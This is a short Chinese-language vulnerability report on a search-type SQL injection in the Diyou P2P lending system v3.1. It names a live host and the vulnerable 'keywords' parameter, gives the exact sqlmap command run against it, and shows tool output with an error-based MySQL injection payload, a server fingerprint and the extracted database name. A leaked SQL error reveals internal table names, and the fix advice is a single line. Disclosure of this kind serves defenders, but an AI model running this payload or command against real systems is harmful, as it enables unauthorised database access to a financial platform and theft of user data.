帝友P2P借贷系统搜索型SQL注入

标题上面说是v3.1版本，具体是什么版本，亲~您懂的。
 

http://v31.diyou.cc/transfer_success/index.html?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=

注入点keywords

直接带入数据库中查询/

C:\Python27\sqlmap>sqlmap.py -u "http://v31.diyou.cc/transfer_success/index.html

?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=" --b
atch -p "keywords" -v 2 --current-db

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 12:03:53

[12:03:53] [DEBUG] cleaning up configuration parameters
[12:03:53] [DEBUG] setting the HTTP timeout
[12:03:53] [DEBUG] setting the HTTP method to GET
[12:03:53] [DEBUG] creating HTTP requests opener object
[12:03:53] [INFO] using 'C:\Python27\sqlmap\output\v31.diyou.cc\session' as sess
ion file
[12:03:53] [INFO] resuming injection data from session file
[12:03:53] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[12:03:53] [INFO] testing connection to the target url
[12:03:54] [WARNING] the testable parameter 'keywords' you provided is not into
the Cookie
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: keywords
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: keywords=1' AND (SELECT 7351 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99
,104,116,58),(SELECT (CASE WHEN (7351=7351) THEN 1 ELSE 0 END)),CHAR(58,120,112,
99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'iLHc
'='iLHc&borrow_type=&account_status=&borrow_interestrate=&spread_month=
---

[12:03:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing
 squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[12:03:54] [INFO] fetching current database
[12:03:54] [INFO] retrieved: 131209_v31diyou
[12:03:54] [DEBUG] performed 1 queries in 0 seconds
current database:    '131209_v31diyou'

[12:03:54] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\v31.diyou.cc'

[*] shutting down at: 12:03:54

1%27带入查询，数据库报错。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6执行SQL语句错误!select count(1) as num from `deayou_borrow_change` as p1 left join`deayou_borrow_tender` as p2 on p1.tender_id=p2.id left join `deayou_users` as p3 on p2.user_id=p3.user_id left join `deayou_borrow` as p4 on p2.borrow_nid=p4.borrow_nid left join `deayou_users` as p6 on p4.user_id=p6.user_id left join `deayou_users` as p5 on p1.buy_userid=p5.user_id where 1=1 and p1.status in (1) and p4.name like '%1'%'

漏洞修复方法:

过滤addslashes，可以参考原来dedecms那个搜索型修补。